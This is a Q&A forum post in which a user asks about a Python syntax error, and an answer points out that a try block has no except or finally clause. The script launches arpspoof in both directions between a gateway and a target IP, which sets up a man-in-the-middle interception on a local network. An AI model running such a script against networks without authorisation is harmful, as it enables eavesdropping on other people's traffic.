Why am I having an invalid Syntax? Please be patient with me if it's just because of a stupid mistake.
import os
gateway = raw_input("What is your gateway IP: ")
target = raw_input("What is your target IP: ")
interface = raw_input("What is your network interface: ")
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, gateway, target))
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, target, gateway))
while True:
try:
stop_command = raw_input("If you want to exit type stop: ")
if stop_command != "stop":
print("You didn't type stop")
continue
else:
break
Your try
lacks either an except
, or finally
clause.